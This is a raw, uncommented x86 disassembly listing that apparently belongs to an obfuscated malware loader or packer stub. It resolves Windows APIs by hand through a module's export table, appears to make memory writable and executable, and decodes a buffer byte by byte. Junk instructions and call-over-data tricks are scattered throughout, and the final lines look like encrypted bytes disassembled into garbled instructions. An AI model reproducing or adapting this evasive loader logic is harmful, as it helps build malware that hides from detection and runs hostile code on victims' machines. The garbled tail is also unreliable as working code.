mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x489275
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x48950c
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x48929a
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x48950c
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x4892f4
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x489500
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x489364
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x489416
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x489416
push ecx
and ecx, 0x787a
and ecx, 0x123d
pop ecx
push edx
push esi
add esp, 4
call 0x4893b3
add byte [edi + ecx*2 + 0x3e], al
inc esp
inc esp
cmp al, 0x4d
dec eax
add esp, 4
xor edx, 0x181b6
or edx, 0x16d77
pop edx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x489408
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x48940f
jmp 0x489355
jmp 0x489416
push ecx
xor ecx, 0x66c5
add ecx, 0x22e9
call 0x489431
add byte [ecx], bh
dec esp
inc esp
inc esp
xor al, byte [eax + eax*2 + 0x32]
add esp, 4
call 0x489444
add byte [edx], bh
aas
inc ecx
inc ecx
xor al, 0x3e
inc esp
inc ebp
dec eax
inc edx
add esp, 4
pop ecx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x489475
mov dword [ebp - 0xc6c], 0
jmp 0x4894e4
push eax
push edx
add esp, 4
add eax, 0xca1e
or eax, 0x46bc
pop eax
push ecx
or ecx, 0x83f8
xor ecx, 0xc61b
add ecx, 0x4fa3
pop ecx
push esi
push ebx
add esp, 4
and esi, 0x169fb
pop esi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x4894da
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x4894e4
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x4894fb
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x48950c
jmp 0x4892e5
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push ebx
push ebx
add esp, 4
or ebx, 0x16b17
pop ebx
push esi
push ecx
add esp, 4
add esi, 0x2fba
pop esi
push ecx
sub ecx, 0x16b
sub ecx, 0xbc92
and ecx, 0xe534
and ecx, 0x10331
pop ecx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x4895bd
push ecx
push eax
add esp, 4
add ecx, 0x7322
pop ecx
push edx
push edx
add esp, 4
xor edx, 0x11dfd
pop edx
push edx
xor edx, 0x4e25
add edx, 0x13e43
xor edx, 0xc874
or edx, 0xb3a9
pop edx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x4895da
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x489636
push edi
push esi
add esp, 4
add edi, 0xec6e
call 0x489602
add byte [ecx], bh
cmp byte [ebx + 0x39], cl
dec esp
inc edi
dec ebp
inc ebx
dec eax
add esp, 4
sub edi, 0x7855
pop edi
push ecx
sub ecx, 0x1443c
xor ecx, 0x14cc
pop ecx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x4895cb
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x4896ae
push ebx
push eax
add esp, 4
add ebx, 0x11806
pop ebx
push ebx
sub ebx, 0x11b22
add ebx, 0x12543
pop ebx
push edi
push ecx
add esp, 4
or edi, 0x49da
or edi, 0xb332
add edi, 0x10703
pop edi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ebx
jmp 0x4896b6
jmp 0x4896bb
and ebx, 0x18da
and ebx, 0x1687b
pop ebx
push ecx
push esi
add esp, 4
or ecx, 0x12afa
pop ecx
push edi
push ecx
add esp, 4
sub edi, 0x75b9
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff05ff
pop ecx
pop ebx
push esi
mov cl, cl
or dword [esi + 0x5dbf3eb], eax
add eax, 0x6250fb86
add eax, 0x5c566305
mov cl, cl
or dword [esi + 0x63473c6], eax
add eax, 0xe951c686
add eax, 0x3c0bf005
cmp dword [0x86495340], edi
out 0x79, al
in eax, 5
add eax, 0x570bf5e
add eax, 0x9a8e6b05
shr esi, 4
add al, 0xbd
push 5
add eax, 0x8a8e6b05
ret